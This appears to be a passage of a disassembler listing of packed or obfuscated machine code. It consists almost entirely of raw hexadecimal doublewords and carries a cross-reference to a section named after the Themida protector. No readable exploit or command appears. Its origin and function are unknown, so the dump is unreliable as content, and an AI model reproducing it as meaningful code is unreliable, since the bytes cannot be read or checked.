0C08B82A8h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 19h, 26C35242h, 0A965AC1h, 85015124h, 6071C25h dd 11BD835Fh, 60702h, 0BD830975h, 6070D65h, 50197400h dd 0B8C08B53h, 438h, 23A98589h, 9D8D0607h, 609AB0Fh, 585BD3FFh dd 0D65BD83h, 74000607h, 0B8535017h, 438h, 23A98589h, 9D8D0607h dd 609A7B0h, 585BD3FFh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 18h, 40C35343h, 0B2545810h, 25853150h, 5F06070Bh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 8BC35343h dd 0A8E6F944h, 3B44BD7Bh, 7E9B1h, 88880000h, 0C66E2EEEh dd 8DC08B74h, 72C6185h, 9858906h, 50060700h, 0D6E0BB66h dd 8B240489h, 70EA5BDh, 0CF816606h, 6A9739h, 0C84BA1BBh dd 0CCDF8124h, 6A60AF73h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 0DFC9A0FFh dd 0A50DFE6Fh, 9D31534Dh, 6071889h, 0A5858D5Bh, 6A060B2Ch dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h dd 40000000h, 924C350h, 72F1D85h, 5C08306h, 905FEB80h dd 5050DA8Bh, 0FABB752h, 8389BB31h, 585A688Bh, 88D8BF90h dd 6A5B1Fh, 1ACDBD29h, 6A0607h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 18h, 45C35141h, 599F121Ch, 0B12EEB81h dd 95FF111Bh, 6071335h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 14h, 0D0C35141h, 14DB8166h, 9D8D8D2Fh, 6A060A93h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h dd 46000000h, 769FC356h, 111D3C4Ah, 66D1FFF9h, 8387D7BFh dd 732B1BDh, 850F0106h, 76h, 0D19BD8Bh, 26A0607h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0EFC35646h, 490A8DEAh dd 505BF857h, 489F88Bh, 0FFF88B24h, 7028595h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h dd 782CD5C8h, 35B62B3Ch, 0EE90Ch, 0DBBF0000h, 585FBA6Fh dd 7A6F1B2Dh, 0AA6E4A78h, 355BD8Bh, 65E90607h, 0E800000Dh dd 0 dd 0AFED815Dh, 6A060B2Ch, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1B042444h, 46000000h, 0AA89C356h, 7AF4CAA0h dd 0EB81719Fh, 3C21C811h, 0CFC9BF66h, 4870Fh, 0BB660000h dd 858DE47Ch, 60A8603h, 10858589h, 0BF0F0607h, 0F5250FFh dd 28Fh, 5B5F5300h, 64240489h, 35FFh, 6A0000h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 95395C3h, 1A097F96h, 8F0F2937h, 3, 64D9B70Fh, 2589h dd 0BD8B0000h, 60700B9h, 2C8985FFh, 80520607h, 6A5B2ADBh dd 39D380FFh, 5E1B5FFh, 95890607h, 6070F65h, 213D95FFh dd 0DE90607h, 89000001h, 721518Dh, 0F00B006h, 148Fh, 0FE900h dd 0F9610000h, 3FD32499h, 0ECE105B7h, 110B099Eh, 0BF70E609h dd 41C82DF7h, 860F71E4h, 6, 0EB58D89h, 613C0607h, 0CE830Fh dd 85890000h, 6071AE5h, 8BC8B60Fh, 704599Dh, 6BA06h, 0C18B0000h dd 0C117D380h, 0AE904E8h, 0E4000000h, 35906A21h, 0E92941C6h dd 0E2F7660Bh, 26B0BF66h, 0BF57C82Bh, 4AB7E1Ah, 598D015Fh dd 8B060705h, 0E989B3D1h, 6, 2D259D8Bh, 858B0607h, 607294Dh dd 26818509h, 0C0830607h, 0DF8B6607h, 8B00C083h, 71A699Dh dd 0FD03B06h, 1583h, 0FFE8B00h, 681h, 0D99D8B00h, 0E9060732h dd 48h, 8D8BF88Bh, 6071C91h, 0D2B70F60h, 1A699589h, 83610607h dd 840F01E1h, 2Ch, 4430D381h, 0A5830AD5h, 6071C91h, 0AE9FEh dd 195D0000h, 61B42056h, 0FDEDA0C3h, 294D9589h, 66BF0607h dd 0E923834Ch, 0 dd 0B837B58Dh, 8B66060Ah, 89006AFAh, 70DE585h, 6995FF06h dd 6A06071Bh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 16042444h, 41000000h, 0E92DC351h, 68E0F97h, 89000000h dd 72D85B5h, 6FBB906h, 0EE80000h, 7000000h, 0A3439183h dd 521A62BEh, 0D7734F85h, 0E1835B4Ah, 0E9B589FCh, 0FC06070Ah dd 12E19589h, 0B80607h, 6A000000h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 4A8C355h dd 0BAFB8B66h, 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 6C35141h dd 66619281h, 33ADFB8Bh, 3E8D1C2h, 4E983D0h, 6AF475h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h dd 2A6A8C3h, 7D8D0998h, 50060703h, 0DE9h, 0AA450E00h, 1E6D034h dd 1DDA2920h, 0D5F7DEFh, 88h, 48B0Fh, 0BF660000h, 958BCAE2h dd 6070A01h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Bh, 90C35343h, 58576FAEh, 8B9BC0B5h, 714A58Dh, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h dd 0B9CFAD92h, 1D8C9BB6h, 0BB6633A1h, 50F53D71h, 188BC28Bh dd 188BC103h, 0E8D1C18Bh, 188BC203h, 53006A58h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 2D8D2907h dd 0F06070Ch, 0BD83FBBFh, 6072FF9h, 0A7840F00h, 89000000h dd 716958Dh, 0E6F78106h, 0B83D59B2h, 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 0C0C35141h dd 0FFFBBB66h, 14E9h, 7240B800h, 0C9753296h, 5F1B3DDAh dd 0FE9B5F3h, 0A1959FFh, 4A8D8D5Dh, 6A06074Bh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h dd 0FA9DC352h, 2978947Dh, 715A99Dh, 68D0F06h, 31000000h dd 7058195h, 6AE1FF06h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 17042444h, 41000000h, 0D93AC351h, 0BB662378h dd 0BD83408Ch, 6072FD5h, 79840F00h, 83000004h, 72FD5BDh dd 840F0106h, 487h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 19h, 20C35242h, 26BD7DEDh, 0FBC3819Fh, 8373B0A4h dd 72FD5BDh, 860F0306h, 41Dh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Dh, 26C35040h, 0DB50E87Dh, 0A8461B3Eh dd 0BD8D895Bh, 60060711h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 18h, 0F2C35343h, 1EBCDC7Dh, 1440BB66h, 6AD98C66h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1B042444h dd 47000000h, 3505C357h, 1277FE19h, 0E1808198h, 8870F04h dd 60000000h, 2FD98D89h, 0A610607h, 6E840FC9h, 66000001h dd 0E922DF81h, 0EF1858Bh, 0B1600607h, 14E996h, 0D0170000h dd 0E65B8723h, 0CBEDCEEAh, 44C8DD43h, 0C26DE6E4h, 33619C02h dd 7156985h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1504h, 0C3554500h, 0CB8037D9h, 0F609045h, 0F8Dh, 9E800h dd 8DBE0000h, 0FA475B96h, 589E56DFh, 0D7B927BBh, 0BF50611Bh dd 5EF25939h, 53006A90h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1504h, 0C3534300h, 9E89D48h, 53000000h, 0B216101Eh dd 0C68B2923h, 205B501h, 6A5F0607h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 0E44856B1h dd 0CF8157DAh, 3A5D5452h, 1D6A685Bh, 0B756FB4Dh, 4815F10h dd 0D1E69524h, 51006A04h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1B04h, 0C3514100h, 8749BB4Dh, 29A74D11h dd 56195FFh, 6A0607h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 180424h, 56460000h, 58150EC3h, 0E9602463h, 5, 1E4C7FB3h dd 91BD89DBh, 61060705h, 0A2918589h, 0DB80060Ah, 1BEE971h dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h dd 57470000h, 6D89F6C3h, 0BF669D9Bh, 0CB8004A8h, 89858BC5h dd 66060AA2h, 0C7DE8Bh, 18h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 14h, 0D5C35747h, 0D19BB7BFh, 8DB58B14h dd 6A060AA2h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 18042444h, 42000000h, 3579C352h, 8BCB8DE5h, 711519Dh dd 7D858B06h, 6A06071Ch, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 15042444h, 46000000h, 5E08C356h, 15F99D8Bh dd 0FE8B0607h, 858B0689h, 6070EF1h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 17h, 0E2C35242h, 80413BB4h, 46898DDFh dd 50006A04h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h dd 0C3504000h, 5350D1C0h, 2434895Bh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Bh, 0BC35747h, 0EF26CDBFh, 31146E4Ch dd 73125B5h, 89B5FF06h, 56060AA2h, 0CC685FF9h, 8A597B51h dd 243481DDh, 59645233h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 16h, 54C35242h, 858D3556h, 60AA291h, 1E69BD8Bh dd 0BF900607h, 7CE2C4A0h, 14E99050h, 78000000h, 0A2A307C9h dd 0E087A2B5h, 0F2CB269h, 7A8CA218h, 0FFC0D1C7h, 7056195h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h dd 0C3564600h, 8957009Bh, 719C99Dh, 6E906h, 0BB260000h dd 7A4EEEE8h, 0B8BF6661h, 0D585C7CCh, 306072Fh, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1B042444h dd 45000000h, 66BDC355h, 0F9CA4FE6h, 8950DA3Ch, 702B9B5h dd 83F95F06h, 0AA291BDh, 840F0006h, 41h, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 1Ch, 0C6C35141h, 3D063FDCh dd 0B6121DEFh, 5318529h, 0DA8B0607h, 2BE9h, 0E9535700h dd 7, 50F47834h, 5FE715F7h, 0C30505Bh, 11440011h, 10E8C101h dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h dd 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h dd 0E77504E9h, 0C08B00EBh, 0A521F781h, 0BD837779h, 6072FD5h dd 37850F03h, 83000004h, 0AA291BDh, 840F0006h, 42Ah, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 5FC35646h, 6EF7A30Ah dd 0B5FF468Dh, 60AA291h, 0CEC78166h, 4195FF87h, 8B060716h dd 73029BDh, 85B58B06h, 66060AA2h, 9C82C381h, 106C7h, 6A0001h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h dd 0A62FC6C3h, 0E9D3862Fh, 0Ch, 906DDC5Ch, 0B463A8FEh dd 3D370EFAh, 0BF665696h, 505BD327h, 9E8h, 0FD44FF00h dd 99345900h, 965BFE89h, 2E82BF66h, 0A291B5FFh, 11E9060Ah dd 5B000000h, 0C2C4B495h, 50A51B3h, 755D8986h, 0B126B7CAh dd 1DE195FFh, 9D8B0607h, 60719FDh, 0A285B58Bh, 0F6BF060Ah dd 8B30ECDEh, 720A585h, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1604h, 0C3514100h, 0E87062ACh, 12h, 0BFA507ABh dd 91256367h, 0E0Dh, 0C5F66202h, 5BF9AFF4h, 0C48689h, 0EB810000h dd 47091DE0h, 1BA9BD33h, 958B0607h, 6070A01h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 29C35242h, 0F0E4EE1Eh dd 58A0Fh, 81660000h, 832461DBh, 6A04C2h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 160424h, 56460000h, 1746A0C3h dd 41014BFh, 0C58D0172h, 89060726h, 6A2050h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 0B47B31C3h dd 2B305DD2h, 0B5BC858Dh, 0BD8B060Ah, 6070AC1h, 0B88689h dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h dd 50400000h, 535E4FC3h, 6E8F388h, 0F7000000h, 835F6BBCh dd 5FDF8B69h, 58536050h, 61D8BF0Fh, 6A006A5Bh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h dd 22D9C355h, 889FFBB4h, 0FF256E1Fh, 0AA291B5h, 0CB816606h dd 95FF4FC8h, 6070285h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 17h, 0C4C35040h, 0F3FC185h, 681h, 9958900h dd 50060704h, 14E9h, 0BD0D0600h, 0CEAF47B6h, 0B6773258h dd 0E521F919h, 0ED8A5031h, 2434890Fh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ah, 0F9C35646h, 740C2E5Ch, 0B5FFC005h dd 60AA291h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0A9C35040h dd 89DDA422h, 723D59Dh, 55BD8B06h, 66060715h, 95FFDF8Bh dd 6071155h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Bh, 9CC35141h, 0E1045C2Fh, 80EE903Dh, 0BD83A4DBh, 60706DDh dd 61840F00h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1B042444h, 42000000h, 7DC5C352h, 7BEE7F05h dd 8166304Bh, 9659DBF7h, 13E852h, 95610000h, 0A0AF9972h dd 84649459h, 890ACD5Bh, 3A4A3C09h, 0F52503Eh, 5B585A31h dd 0DDB7505Fh, 0EE996h, 2BE00000h, 7BFAAB2Ah, 0C10EDCE7h dd 24ABDCF2h, 0A291B5FFh, 6A060Ah, 3E850h, 58200000h, 448958C3h dd 44810424h, 140424h, 50400000h, 95FF61C3h, 6071BF1h dd 91B5FFF8h, 0B060AA2h, 718399Dh, 0F595FF06h, 6A06071Ah dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1B042444h dd 45000000h, 8E50C355h, 0DC68C263h, 0BD83C439h, 60719F5h dd 5D840F02h, 81000000h, 9027B6CBh, 29858B21h, 6A06071Ah dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 18042444h dd 43000000h, 1454C353h, 0C68F3E67h, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 4FB7B9C3h dd 4B546F15h, 1DFD9D23h, 0BD890607h, 6070111h, 0D0985C7h dd 607h, 8A510000h, 7CE95FF9h, 66FFFFF3h, 6430D781h, 6AC18Bh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h dd 6DD7FCC3h, 6AECED29h, 1C9DBD89h, 0BD8B0607h, 6070EA5h dd 2C61858Dh, 85890607h, 6072D41h, 50FE8B90h, 57006A90h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 0E5095046h, 6DEF4D69h, 6A40DB80h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1904h, 0C3504000h, 61A4B608h dd 81523C13h, 453696CBh, 6A5B00h, 858DDA8Bh, 60B3BF8h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 23C35040h dd 37951452h, 83180B0Ah, 6A05C0h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1D0424h, 52420000h, 0D4F58CC3h, 5EA12E2Bh dd 50C0368Dh, 1C5C70BBh, 2404893Fh, 162D9D03h, 6A0607h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 0E4C35141h dd 8D8B60D1h, 6071695h, 0A114BE66h, 810F61h, 6A000000h dd 41BD8B00h, 0FF06070Bh, 7133595h, 0C38B6006h, 61FFEF80h dd 5F17B756h, 939D8D8Dh, 0B589060Ah, 60702C1h, 9E9h, 0A2848D00h dd 3138EC0h, 0D1FFA24Ch, 23B381BBh, 0B1BD8313h, 1060732h dd 0AB850Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1A0424h, 55450000h, 0F36D51C3h, 0C4CD4543h, 28D0Fh dd 0A3B30000h, 6A026Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1B0424h, 57470000h, 8C6340C3h, 79F76425h, 79BD0136h dd 23060723h, 713D19Dh, 8B665006h, 240489DAh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 19h, 3C35040h, 0E9D26898h dd 0E585890Eh, 0FF060715h, 7028595h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 0F0AE943h dd 0E80000h, 5D000000h, 3C02ED81h, 0BD89060Bh, 6073245h dd 0CA816660h, 0FE8C135h, 19000000h, 44025A95h, 2E7C34D6h dd 2247D36Ch, 8531E5E2h, 6070D0Dh, 10E96159h, 93000000h dd 0CE03758Ch, 27B90E24h, 9FAE40A4h, 8DF1D905h, 0A860385h dd 0BF665006h, 48942C0h, 53006A24h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1B04h, 0C3534300h, 625DE451h, 0C37C37F7h dd 0BBF38166h, 35FF64D1h, 0 aLDi db '‹ßd‰%',0 align 4 dd 8985FF00h, 0F906072Ch, 6AFF6Ah, 3E850h, 58200000h, 448958C3h dd 44810424h, 170424h, 50400000h, 86A945C3h, 59B5FF25h dd 6A060715h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1D042444h, 47000000h, 230FC357h, 0CA325DF4h, 9D85D8EEh dd 213D95FFh, 54E90607h, 9000001h, 72EED85h, 2900B006h dd 7131D9Dh, 0DE906h, 0C60B0000h, 0BDF6AA4Fh, 0AAEEEC51h dd 0E67B2BAFh, 51BD8970h, 0E4060702h, 4DB58971h, 3C06071Bh dd 1C830F61h, 89000001h, 73301BDh, 0FEDB706h, 6BAC8B6h dd 0F000000h, 188Fh, 12E800h, 0FE7A0000h, 0F343E152h, 0BAAE7559h dd 823C8108h, 25884514h, 29C18B5Bh, 71A1DBDh, 8D958906h dd 0C1060704h, 0F98A04E8h, 0BE58D89h, 0F7660607h, 0FE9E2h dd 0ED7F0000h, 9B03F0F2h, 63739BDBh, 625F44D1h, 0FC82B71h dd 0D18BDABFh, 1A10BF66h, 8E9h, 9D8B6000h, 6071DE5h, 69858B61h dd 0F060713h, 685h, 599D0300h, 83060728h, 852907C0h, 6071689h dd 0E800C083h, 0Eh, 0F3EBDAE7h, 3BB7F581h, 2A9CBC7Ah, 14E902D6h dd 9F000000h, 703273BCh, 12119291h, 0A5DD8EA2h, 68488ADDh dd 5BE4BCA2h, 830FD03Bh, 20h, 2FE9BD8Bh, 48E90607h, 0E8000000h dd 9, 7D47248Dh, 9FED1A9Fh, 3595894Ah, 5B060700h, 2098D8Bh dd 0BD8B0607h, 6070409h, 0F01E183h, 1E84h, 81958900h, 83060732h dd 70209A5h, 0BF0FFE06h, 699589DAh, 80060713h, 0E9A5F3h dd 8D000000h, 0AC1A9B5h, 880F6006h, 6, 0CA58D89h, 6A610607h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h dd 0C3534300h, 0F91715Ch, 95FFD8BFh, 6071B69h, 4199D8Bh dd 8A0F0607h, 6, 57DF781h, 0BB9676Bh, 0E900000Eh, 0Dh dd 1B2304B6h, 0DA9009F5h, 0EBD2A22Eh, 0FCE1832Bh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0ACC35242h, 5287B46Eh dd 0FCFC8D90h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 15h, 4EC35141h, 699589C5h, 2B060726h, 0E59501C0h, 2B060705h dd 0C233ADD2h, 0D003E8D1h, 7504E983h, 50006AF4h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h dd 74FD90E2h, 613F2D74h, 46B767D4h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 18h, 0C2C35040h, 0F442AD17h, 0F68763BFh dd 880D01h, 81660000h, 8B14FBE7h, 70A0195h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h dd 0A58D8B61h, 6A060714h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 15042444h, 47000000h, 0B782C357h, 8BC28B50h dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 0BD2B5818h, 607037Dh dd 2845BD8Bh, 0BD290607h, 6072885h, 2FF9BD83h, 0F000607h dd 4784h, 66BB6600h, 0B802h, 890F0000h, 8, 4D9D8B53h, 5B06071Eh dd 4B4A8D8Dh, 6A0607h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1D0424h, 57470000h, 38E797C3h, 0BDE33156h, 0F840E9BCh dd 0E1FFF98Bh, 2FD5BD83h, 0F000607h, 43884h, 0C1C3BF00h dd 0BD83573Eh, 6072FD5h, 41840F01h, 6A000004h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h dd 9539C356h, 0E103567Ah, 81600782h, 255973D2h, 0D18D8B48h dd 6106071Ah, 2FD5BD83h, 0F030607h, 3CD86h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 60C2B5C2h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 14h, 0B8C35040h, 66FE8B66h, 6AD98Ch, 3E850h, 58200000h dd 448958C3h, 44810424h, 170424h, 50400000h, 1F7A74C3h dd 4E18020h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ah, 4DC35545h, 68A6DE7Ah, 81664240h, 0ACE28CBh, 1B840FC9h dd 6A000001h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 19042444h, 43000000h, 0B1A2C353h, 1D20F540h, 2F699D89h dd 0CB800607h, 0F1858B66h, 3306070Eh, 7156985h, 0BE99006h dd 11000000h, 0B022FD5Eh, 0CDE4C1C8h, 9050576Dh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 19h, 0C3C35040h, 303C2F7Ch dd 67BB5210h, 5F69B515h, 1D25BD8Bh, 6A0607h, 3C19D03h dd 70680607h, 810F9056h, 558F2434h, 6A0F8Fh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 4CDCADC3h dd 55A33045h, 8E904h, 0DE800000h, 77A06DECh, 95FF7814h dd 6070561h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 18h, 0DEC35343h, 3E1EF9CCh, 950930B3h, 607203Dh, 0A2918589h dd 6A060Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h dd 57470000h, 2925ABC3h, 0E9775915h, 1B8h, 2799589h, 858B0607h dd 60AA289h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ah, 3C35242h, 4B29E37Dh, 0AE945DEh, 82000000h, 2C1391B3h dd 0D1F33B1Eh, 1800C7F4h, 6A000000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 0A5D6C357h dd 0A28DB58Bh, 0D98A060Ah, 1C7D858Bh, 6A0607h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 89B069C3h, 0FC54C257h, 2830Fh, 0D98B0000h, 0FE8B0689h dd 0EF1858Bh, 6A0607h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 180424h, 51410000h, 6BE220C3h, 0BF0F6DD5h, 44689DAh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 33C35141h dd 87B0A7EEh, 502BB75Eh, 0BB665157h, 5B5BE577h, 6A243489h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 15042444h dd 42000000h, 0B7C4C352h, 85BD0960h, 52060732h, 75D98166h dd 0FF615E11h, 0AA289B5h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 0F5FAE550h dd 0CA5ED4D2h, 55BD8B22h, 68060713h, 0B53DC6FBh, 48184B7h dd 0E13D0424h, 5E94Ah, 9650000h, 8D24F3A0h, 0AA29185h dd 5E906h, 9A530000h, 9036C468h, 0D98A5350h, 6A905Bh, 3E855h dd 5D200000h dword_580000 dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 7F0A73C3h ; DATA XREF: Themida_:0053BFC0o dd 137621Dh, 0BD89AB07h, 6072F59h, 56195FFh, 9D890607h dd 6070571h, 0D8BF0F61h, 2FD585C7h, 30607h, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h dd 85893EC3h, 60717FDh, 0A291BD83h, 0F00060Ah, 3184h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h dd 0C611BE70h, 6CBB2F65h, 0E96F4EE4h, 21h, 15F99D8Bh, 30500607h dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h, 0E9835803h dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h dd 2114430h, 11642858h, 11043001h, 7504E983h, 8B00EBE7h dd 57006AC0h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h dd 0C3574700h, 3C086FD9h, 736F4ADBh, 6AFB8B66h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h dd 9723C350h, 59FAF1D5h, 0BD83FC4Eh, 6072FD5h, 0F2850F03h dd 6A000005h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1B042444h, 45000000h, 0DDE5C355h, 0E343514Ah, 0B5096C57h dd 6070E01h, 435F5BBh, 91BD833Dh, 60AA2h, 5B7840Fh, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h dd 638954C3h, 0AE566FA7h, 665CE155h, 0EC1DF381h, 0A291B5FFh dd 0CE9060Ah, 45000000h, 786D5479h, 0B5A3D097h, 0FFA17E19h dd 7164195h, 0B5CB8106h, 8B3FCBDEh, 0AA285B5h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 0CAFFEA51h, 4A66C989h, 6C7DC8Ah, 10001h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 15h, 3CC35040h, 499D8BE4h dd 96060721h, 14E9h, 5C71C100h, 282B0EA6h, 1CE8E9B4h, 2D89B667h dd 0C8B28D02h, 12E850F3h, 59000000h, 35DFEF0Fh, 761524EBh dd 0F73B12C0h, 0F4845F16h, 8B965FCCh, 710319Dh, 91B5FF06h dd 6A060AA2h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1D042444h, 40000000h, 3C98C350h, 209FE34Bh, 5AFFFA67h dd 0B7DB589h, 95FF0607h, 6071DE1h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 17h, 1C35040h, 0BF9DAB83h, 1527180Eh dd 0A285B58Bh, 6A060Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1D0424h, 56460000h, 84D022C3h, 373A1D47h, 892074C9h dd 712798Dh, 0A5858B06h, 6A060720h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 0C365C352h dd 0C17A5E04h, 0D78166A6h, 8689DA75h, 0C4h, 7E8h, 6BF77600h dd 6035B2C8h, 0F299D0Bh, 665B0607h, 958BDA8Bh, 6070A01h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 69C35343h dd 4BA61383h, 896E14BDh, 70391B5h, 4C28306h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0C5C35646h, 61AFC009h dd 0FFA0AA4h, 683h, 199D8B00h, 0E8060702h, 13h, 7E66C5D8h dd 6FECC0D0h, 0D4AD6905h, 77E27443h, 810DD866h, 0BB184CCBh dd 50895F7Fh, 2CBB6620h, 0BC858D5Ch, 6A060AB5h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h dd 1F76C351h, 58D014Ch, 8906070Dh, 0B886h, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h dd 0C7B2B21Fh, 13E959h, 0D5230000h, 9F9BB7D5h, 108B9368h dd 1287F4FDh, 0F843B888h, 0E9BD8B4Fh, 6A06070Ah, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h dd 0C5BAFDA6h, 9CC0A080h, 0BB66810Eh, 0B5FFC6EAh, 60AA291h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 